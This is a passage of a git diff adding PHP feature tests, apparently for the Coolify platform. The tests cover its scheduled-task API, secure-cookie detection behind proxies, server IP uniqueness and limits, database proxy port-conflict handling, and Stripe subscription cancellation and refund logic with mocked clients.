+ $response->assertStatus(200);
+ $response->assertJsonCount(1);
+ $response->assertJsonFragment(['name' => 'Test Task']);
+ });
+
+ test('returns 404 for unknown application uuid', function () {
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks');
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () {
+ test('creates a task with valid data', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
+ 'name' => 'Backup',
+ 'command' => 'php artisan backup',
+ 'frequency' => '0 0 * * *',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonFragment(['name' => 'Backup']);
+
+ $this->assertDatabaseHas('scheduled_tasks', [
+ 'name' => 'Backup',
+ 'command' => 'php artisan backup',
+ 'frequency' => '0 0 * * *',
+ 'application_id' => $application->id,
+ 'team_id' => $this->team->id,
+ ]);
+ });
+
+ test('returns 422 when name is missing', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
+ 'command' => 'echo test',
+ 'frequency' => '* * * * *',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('returns 422 for invalid cron expression', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
+ 'name' => 'Test',
+ 'command' => 'echo test',
+ 'frequency' => 'not-a-cron',
+ ]);
+
+ $response->assertStatus(422);
+ $response->assertJsonPath('errors.frequency.0', 'Invalid cron expression or frequency format.');
+ });
+
+ test('returns 422 when extra fields are present', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
+ 'name' => 'Test',
+ 'command' => 'echo test',
+ 'frequency' => '* * * * *',
+ 'unknown_field' => 'value',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('defaults timeout and enabled when not provided', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
+ 'name' => 'Test',
+ 'command' => 'echo test',
+ 'frequency' => '* * * * *',
+ ]);
+
+ $response->assertStatus(201);
+
+ $this->assertDatabaseHas('scheduled_tasks', [
+ 'name' => 'Test',
+ 'timeout' => 300,
+ 'enabled' => true,
+ ]);
+ });
+});
+
+describe('PATCH /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () {
+ test('updates task with partial data', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $task = ScheduledTask::factory()->create([
+ 'application_id' => $application->id,
+ 'team_id' => $this->team->id,
+ 'name' => 'Old Name',
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [
+ 'name' => 'New Name',
+ ]);
+
+ $response->assertStatus(200);
+ $response->assertJsonFragment(['name' => 'New Name']);
+ });
+
+ test('returns 404 when task not found', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [
+ 'name' => 'Test',
+ ]);
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('DELETE /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () {
+ test('deletes task successfully', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $task = ScheduledTask::factory()->create([
+ 'application_id' => $application->id,
+ 'team_id' => $this->team->id,
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}");
+
+ $response->assertStatus(200);
+ $response->assertJson(['message' => 'Scheduled task deleted.']);
+
+ $this->assertDatabaseMissing('scheduled_tasks', ['uuid' => $task->uuid]);
+ });
+
+ test('returns 404 when task not found', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent");
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('GET /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', function () {
+ test('returns executions for a task', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $task = ScheduledTask::factory()->create([
+ 'application_id' => $application->id,
+ 'team_id' => $this->team->id,
+ ]);
+
+ ScheduledTaskExecution::create([
+ 'scheduled_task_id' => $task->id,
+ 'status' => 'success',
+ 'message' => 'OK',
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions");
+
+ $response->assertStatus(200);
+ $response->assertJsonCount(1);
+ $response->assertJsonFragment(['status' => 'success']);
+ });
+
+ test('returns 404 when task not found', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions");
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('Service scheduled tasks API', function () {
+ test('can list tasks for a service', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ ScheduledTask::factory()->create([
+ 'service_id' => $service->id,
+ 'team_id' => $this->team->id,
+ 'name' => 'Service Task',
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks");
+
+ $response->assertStatus(200);
+ $response->assertJsonCount(1);
+ $response->assertJsonFragment(['name' => 'Service Task']);
+ });
+
+ test('can create a task for a service', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [
+ 'name' => 'Service Backup',
+ 'command' => 'pg_dump',
+ 'frequency' => '0 2 * * *',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonFragment(['name' => 'Service Backup']);
+ });
+
+ test('can delete a task for a service', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $task = ScheduledTask::factory()->create([
+ 'service_id' => $service->id,
+ 'team_id' => $this->team->id,
+ ]);
+
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
+ ->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}");
+
+ $response->assertStatus(200);
+ $response->assertJson(['message' => 'Scheduled task deleted.']);
+ });
+});
diff --git a/tests/Feature/SecureCookieAutoDetectionTest.php b/tests/Feature/SecureCookieAutoDetectionTest.php
new file mode 100644
index 000000000..4db0a7681
--- /dev/null
+++ b/tests/Feature/SecureCookieAutoDetectionTest.php
@@ -0,0 +1,64 @@
+ 0], ['fqdn' => null]);
+ // Ensure session.secure starts unconfigured for each test
+ config(['session.secure' => null]);
+});
+
+it('sets session.secure to true when request arrives over HTTPS via proxy', function () {
+ $this->get('/login', [
+ 'X-Forwarded-Proto' => 'https',
+ 'X-Forwarded-For' => '1.2.3.4',
+ ]);
+
+ expect(config('session.secure'))->toBeTrue();
+});
+
+it('does not set session.secure for plain HTTP requests', function () {
+ $this->get('/login');
+
+ expect(config('session.secure'))->toBeNull();
+});
+
+it('does not override explicit SESSION_SECURE_COOKIE=false for HTTPS requests', function () {
+ config(['session.secure' => false]);
+
+ $this->get('/login', [
+ 'X-Forwarded-Proto' => 'https',
+ 'X-Forwarded-For' => '1.2.3.4',
+ ]);
+
+ // Explicit false must not be overridden — our check is `=== null` only
+ expect(config('session.secure'))->toBeFalse();
+});
+
+it('does not override explicit SESSION_SECURE_COOKIE=true', function () {
+ config(['session.secure' => true]);
+
+ $this->get('/login');
+
+ expect(config('session.secure'))->toBeTrue();
+});
+
+it('marks session cookie with Secure flag when accessed over HTTPS proxy', function () {
+ $response = $this->get('/login', [
+ 'X-Forwarded-Proto' => 'https',
+ 'X-Forwarded-For' => '1.2.3.4',
+ ]);
+
+ $response->assertSuccessful();
+
+ $cookieName = config('session.cookie');
+ $sessionCookie = collect($response->headers->all('set-cookie'))
+ ->first(fn ($c) => str_contains($c, $cookieName));
+
+ expect($sessionCookie)->not->toBeNull()
+ ->and(strtolower($sessionCookie))->toContain('; secure');
+});
diff --git a/tests/Feature/ServerIpUniquenessTest.php b/tests/Feature/ServerIpUniquenessTest.php
new file mode 100644
index 000000000..705b1eddc
--- /dev/null
+++ b/tests/Feature/ServerIpUniquenessTest.php
@@ -0,0 +1,110 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->user->teams()->attach($this->team, ['role' => 'owner']);
+ $this->actingAs($this->user);
+ session(['currentTeam' => $this->team]);
+
+ $this->privateKey = PrivateKey::create([
+ 'name' => 'Test Key',
+ 'private_key' => 'test-key-content',
+ 'team_id' => $this->team->id,
+ ]);
+});
+
+it('detects duplicate ip within the same team', function () {
+ Server::factory()->create([
+ 'ip' => '1.2.3.4',
+ 'team_id' => $this->team->id,
+ 'private_key_id' => $this->privateKey->id,
+ ]);
+
+ $foundServer = Server::whereIp('1.2.3.4')->first();
+
+ expect($foundServer)->not->toBeNull();
+ expect($foundServer->team_id)->toBe($this->team->id);
+});
+
+it('detects duplicate ip from another team', function () {
+ $otherTeam = Team::factory()->create();
+
+ Server::factory()->create([
+ 'ip' => '5.6.7.8',
+ 'team_id' => $otherTeam->id,
+ ]);
+
+ $foundServer = Server::whereIp('5.6.7.8')->first();
+
+ expect($foundServer)->not->toBeNull();
+ expect($foundServer->team_id)->not->toBe($this->team->id);
+});
+
+it('shows correct error message for same team duplicate in boarding', function () {
+ Server::factory()->create([
+ 'ip' => '1.2.3.4',
+ 'team_id' => $this->team->id,
+ 'private_key_id' => $this->privateKey->id,
+ ]);
+
+ $foundServer = Server::whereIp('1.2.3.4')->first();
+ if ($foundServer->team_id === currentTeam()->id) {
+ $message = 'A server with this IP/Domain already exists in your team.';
+ } else {
+ $message = 'A server with this IP/Domain is already in use by another team.';
+ }
+
+ expect($message)->toBe('A server with this IP/Domain already exists in your team.');
+});
+
+it('shows correct error message for other team duplicate in boarding', function () {
+ $otherTeam = Team::factory()->create();
+
+ Server::factory()->create([
+ 'ip' => '5.6.7.8',
+ 'team_id' => $otherTeam->id,
+ ]);
+
+ $foundServer = Server::whereIp('5.6.7.8')->first();
+ if ($foundServer->team_id === currentTeam()->id) {
+ $message = 'A server with this IP/Domain already exists in your team.';
+ } else {
+ $message = 'A server with this IP/Domain is already in use by another team.';
+ }
+
+ expect($message)->toBe('A server with this IP/Domain is already in use by another team.');
+});
+
+it('allows adding ip that does not exist globally', function () {
+ $foundServer = Server::whereIp('10.20.30.40')->first();
+
+ expect($foundServer)->toBeNull();
+});
+
+it('enforces global uniqueness not just team-scoped', function () {
+ $otherTeam = Team::factory()->create();
+
+ Server::factory()->create([
+ 'ip' => '9.8.7.6',
+ 'team_id' => $otherTeam->id,
+ ]);
+
+ // Global check finds the server even though it belongs to another team
+ $foundServer = Server::whereIp('9.8.7.6')->first();
+ expect($foundServer)->not->toBeNull();
+
+ // Team-scoped check would miss it - this is why global check is needed
+ $teamScopedServer = Server::where('team_id', $this->team->id)
+ ->where('ip', '9.8.7.6')
+ ->first();
+ expect($teamScopedServer)->toBeNull();
+});
diff --git a/tests/Feature/ServerLimitCheckJobTest.php b/tests/Feature/ServerLimitCheckJobTest.php
new file mode 100644
index 000000000..6b2c074be
--- /dev/null
+++ b/tests/Feature/ServerLimitCheckJobTest.php
@@ -0,0 +1,83 @@
+set('constants.coolify.self_hosted', false);
+
+ Notification::fake();
+
+ $this->team = Team::factory()->create(['custom_server_limit' => 5]);
+});
+
+function createServerForTeam(Team $team, bool $forceDisabled = false): Server
+{
+ $server = Server::factory()->create(['team_id' => $team->id]);
+ if ($forceDisabled) {
+ $server->settings()->update(['force_disabled' => true]);
+ }
+
+ return $server->fresh(['settings']);
+}
+
+it('re-enables force-disabled servers when under the limit', function () {
+ createServerForTeam($this->team);
+ $server2 = createServerForTeam($this->team, forceDisabled: true);
+ $server3 = createServerForTeam($this->team, forceDisabled: true);
+
+ expect($server2->settings->force_disabled)->toBeTruthy();
+ expect($server3->settings->force_disabled)->toBeTruthy();
+
+ // 3 servers, limit 5 → all should be re-enabled
+ ServerLimitCheckJob::dispatchSync($this->team);
+
+ expect($server2->fresh()->settings->force_disabled)->toBeFalsy();
+ expect($server3->fresh()->settings->force_disabled)->toBeFalsy();
+});
+
+it('re-enables force-disabled servers when exactly at the limit', function () {
+ $this->team->update(['custom_server_limit' => 3]);
+
+ createServerForTeam($this->team);
+ createServerForTeam($this->team);
+ $server3 = createServerForTeam($this->team, forceDisabled: true);
+
+ // 3 servers, limit 3 → disabled one should be re-enabled
+ ServerLimitCheckJob::dispatchSync($this->team);
+
+ expect($server3->fresh()->settings->force_disabled)->toBeFalsy();
+});
+
+it('disables newest servers when over the limit', function () {
+ $this->team->update(['custom_server_limit' => 2]);
+
+ $oldest = createServerForTeam($this->team);
+ sleep(1);
+ $middle = createServerForTeam($this->team);
+ sleep(1);
+ $newest = createServerForTeam($this->team);
+
+ // 3 servers, limit 2 → newest 1 should be disabled
+ ServerLimitCheckJob::dispatchSync($this->team);
+
+ expect($oldest->fresh()->settings->force_disabled)->toBeFalsy();
+ expect($middle->fresh()->settings->force_disabled)->toBeFalsy();
+ expect($newest->fresh()->settings->force_disabled)->toBeTruthy();
+});
+
+it('does not change servers when under limit and none are force-disabled', function () {
+ $server1 = createServerForTeam($this->team);
+ $server2 = createServerForTeam($this->team);
+
+ // 2 servers, limit 5 → nothing to do
+ ServerLimitCheckJob::dispatchSync($this->team);
+
+ expect($server1->fresh()->settings->force_disabled)->toBeFalsy();
+ expect($server2->fresh()->settings->force_disabled)->toBeFalsy();
+});
diff --git a/tests/Feature/ServiceDatabaseTeamTest.php b/tests/Feature/ServiceDatabaseTeamTest.php
new file mode 100644
index 000000000..97bb0fd2a
--- /dev/null
+++ b/tests/Feature/ServiceDatabaseTeamTest.php
@@ -0,0 +1,77 @@
+create();
+
+ $project = Project::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'Test Project',
+ 'team_id' => $team->id,
+ ]);
+
+ $environment = Environment::create([
+ 'name' => 'test-env-'.Illuminate\Support\Str::random(8),
+ 'project_id' => $project->id,
+ ]);
+
+ $service = Service::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'supabase',
+ 'environment_id' => $environment->id,
+ 'destination_id' => 1,
+ 'destination_type' => 'App\Models\StandaloneDocker',
+ 'docker_compose_raw' => 'version: "3"',
+ ]);
+
+ $serviceDatabase = ServiceDatabase::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'supabase-db',
+ 'service_id' => $service->id,
+ ]);
+
+ expect($serviceDatabase->team())->not->toBeNull()
+ ->and($serviceDatabase->team()->id)->toBe($team->id);
+});
+
+it('returns the correct team for ServiceApplication through the service relationship chain', function () {
+ $team = Team::factory()->create();
+
+ $project = Project::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'Test Project',
+ 'team_id' => $team->id,
+ ]);
+
+ $environment = Environment::create([
+ 'name' => 'test-env-'.Illuminate\Support\Str::random(8),
+ 'project_id' => $project->id,
+ ]);
+
+ $service = Service::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'supabase',
+ 'environment_id' => $environment->id,
+ 'destination_id' => 1,
+ 'destination_type' => 'App\Models\StandaloneDocker',
+ 'docker_compose_raw' => 'version: "3"',
+ ]);
+
+ $serviceApplication = ServiceApplication::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'supabase-studio',
+ 'service_id' => $service->id,
+ ]);
+
+ expect($serviceApplication->team())->not->toBeNull()
+ ->and($serviceApplication->team()->id)->toBe($team->id);
+});
diff --git a/tests/Feature/StartDatabaseProxyTest.php b/tests/Feature/StartDatabaseProxyTest.php
new file mode 100644
index 000000000..c62569866
--- /dev/null
+++ b/tests/Feature/StartDatabaseProxyTest.php
@@ -0,0 +1,45 @@
+create();
+
+ $database = StandalonePostgresql::factory()->create([
+ 'team_id' => $team->id,
+ 'is_public' => true,
+ 'public_port' => 5432,
+ ]);
+
+ expect($database->is_public)->toBeTrue();
+
+ $action = new StartDatabaseProxy;
+
+ // Use reflection to test the private method directly
+ $method = new ReflectionMethod($action, 'isNonTransientError');
+
+ expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue();
+ expect($method->invoke($action, 'address already in use'))->toBeTrue();
+ expect($method->invoke($action, 'some other error'))->toBeFalse();
+});
+
+test('isNonTransientError detects port conflict patterns', function () {
+ $action = new StartDatabaseProxy;
+ $method = new ReflectionMethod($action, 'isNonTransientError');
+
+ expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue()
+ ->and($method->invoke($action, 'address already in use'))->toBeTrue()
+ ->and($method->invoke($action, 'Bind for 0.0.0.0:3306 failed: port is already allocated'))->toBeTrue()
+ ->and($method->invoke($action, 'network timeout'))->toBeFalse()
+ ->and($method->invoke($action, 'connection refused'))->toBeFalse();
+});
diff --git a/tests/Feature/Subscription/CancelSubscriptionActionsTest.php b/tests/Feature/Subscription/CancelSubscriptionActionsTest.php
new file mode 100644
index 000000000..0c8742d06
--- /dev/null
+++ b/tests/Feature/Subscription/CancelSubscriptionActionsTest.php
@@ -0,0 +1,96 @@
+set('constants.coolify.self_hosted', false);
+ config()->set('subscription.provider', 'stripe');
+ config()->set('subscription.stripe_api_key', 'sk_test_fake');
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->subscription = Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_test_456',
+ 'stripe_customer_id' => 'cus_test_456',
+ 'stripe_invoice_paid' => true,
+ 'stripe_plan_id' => 'price_test_456',
+ 'stripe_cancel_at_period_end' => false,
+ 'stripe_past_due' => false,
+ ]);
+
+ $this->mockStripe = Mockery::mock(StripeClient::class);
+ $this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $this->mockStripe->subscriptions = $this->mockSubscriptions;
+});
+
+describe('CancelSubscriptionAtPeriodEnd', function () {
+ test('cancels subscription at period end successfully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->with('sub_test_456', ['cancel_at_period_end' => true])
+ ->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => true]);
+
+ $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeTrue();
+ expect($result['error'])->toBeNull();
+
+ $this->subscription->refresh();
+ expect($this->subscription->stripe_cancel_at_period_end)->toBeTruthy();
+ expect($this->subscription->stripe_invoice_paid)->toBeTruthy();
+ });
+
+ test('fails when no subscription exists', function () {
+ $team = Team::factory()->create();
+
+ $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
+ $result = $action->execute($team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('No active subscription');
+ });
+
+ test('fails when subscription is not active', function () {
+ $this->subscription->update(['stripe_invoice_paid' => false]);
+
+ $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('not active');
+ });
+
+ test('fails when already set to cancel at period end', function () {
+ $this->subscription->update(['stripe_cancel_at_period_end' => true]);
+
+ $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('already set to cancel');
+ });
+
+ test('handles stripe API error gracefully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
+
+ $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Stripe error');
+ });
+});
diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php
new file mode 100644
index 000000000..b6c2d4064
--- /dev/null
+++ b/tests/Feature/Subscription/RefundSubscriptionTest.php
@@ -0,0 +1,271 @@
+set('constants.coolify.self_hosted', false);
+ config()->set('subscription.provider', 'stripe');
+ config()->set('subscription.stripe_api_key', 'sk_test_fake');
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->subscription = Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_test_123',
+ 'stripe_customer_id' => 'cus_test_123',
+ 'stripe_invoice_paid' => true,
+ 'stripe_plan_id' => 'price_test_123',
+ 'stripe_cancel_at_period_end' => false,
+ 'stripe_past_due' => false,
+ ]);
+
+ $this->mockStripe = Mockery::mock(StripeClient::class);
+ $this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $this->mockInvoices = Mockery::mock(InvoiceService::class);
+ $this->mockRefunds = Mockery::mock(RefundService::class);
+
+ $this->mockStripe->subscriptions = $this->mockSubscriptions;
+ $this->mockStripe->invoices = $this->mockInvoices;
+ $this->mockStripe->refunds = $this->mockRefunds;
+});
+
+describe('checkEligibility', function () {
+ test('returns eligible when subscription is within 30 days', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(10)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeTrue();
+ expect($result['days_remaining'])->toBe(20);
+ });
+
+ test('returns ineligible when subscription is past 30 days', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(35)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeFalse();
+ expect($result['days_remaining'])->toBe(0);
+ expect($result['reason'])->toContain('30-day refund window has expired');
+ });
+
+ test('returns ineligible when subscription is not active', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'canceled',
+ 'start_date' => now()->subDays(5)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeFalse();
+ });
+
+ test('returns ineligible when no subscription exists', function () {
+ $team = Team::factory()->create();
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($team);
+
+ expect($result['eligible'])->toBeFalse();
+ expect($result['reason'])->toContain('No active subscription');
+ });
+
+ test('returns ineligible when invoice is not paid', function () {
+ $this->subscription->update(['stripe_invoice_paid' => false]);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeFalse();
+ expect($result['reason'])->toContain('not paid');
+ });
+
+ test('returns ineligible when team has already been refunded', function () {
+ $this->subscription->update(['stripe_refunded_at' => now()->subDays(60)]);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeFalse();
+ expect($result['reason'])->toContain('already been processed');
+ });
+
+ test('returns ineligible when stripe subscription not found', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andThrow(new \Stripe\Exception\InvalidRequestException('No such subscription'));
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeFalse();
+ expect($result['reason'])->toContain('not found in Stripe');
+ });
+});
+
+describe('execute', function () {
+ test('processes refund successfully', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(10)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $invoiceCollection = (object) ['data' => [
+ (object) ['payment_intent' => 'pi_test_123'],
+ ]];
+
+ $this->mockInvoices
+ ->shouldReceive('all')
+ ->with([
+ 'subscription' => 'sub_test_123',
+ 'status' => 'paid',
+ 'limit' => 1,
+ ])
+ ->andReturn($invoiceCollection);
+
+ $this->mockRefunds
+ ->shouldReceive('create')
+ ->with(['payment_intent' => 'pi_test_123'])
+ ->andReturn((object) ['id' => 're_test_123']);
+
+ $this->mockSubscriptions
+ ->shouldReceive('cancel')
+ ->with('sub_test_123')
+ ->andReturn((object) ['status' => 'canceled']);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeTrue();
+ expect($result['error'])->toBeNull();
+
+ $this->subscription->refresh();
+ expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
+ expect($this->subscription->stripe_feedback)->toBe('Refund requested by user');
+ expect($this->subscription->stripe_refunded_at)->not->toBeNull();
+ });
+
+ test('prevents a second refund after re-subscribing', function () {
+ $this->subscription->update([
+ 'stripe_refunded_at' => now()->subDays(15),
+ 'stripe_invoice_paid' => true,
+ 'stripe_subscription_id' => 'sub_test_new_456',
+ ]);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('already been processed');
+ });
+
+ test('fails when no paid invoice found', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(10)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $invoiceCollection = (object) ['data' => []];
+
+ $this->mockInvoices
+ ->shouldReceive('all')
+ ->andReturn($invoiceCollection);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('No paid invoice');
+ });
+
+ test('fails when invoice has no payment intent', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(10)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $invoiceCollection = (object) ['data' => [
+ (object) ['payment_intent' => null],
+ ]];
+
+ $this->mockInvoices
+ ->shouldReceive('all')
+ ->andReturn($invoiceCollection);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('No payment intent');
+ });
+
+ test('fails when subscription is past refund window', function () {
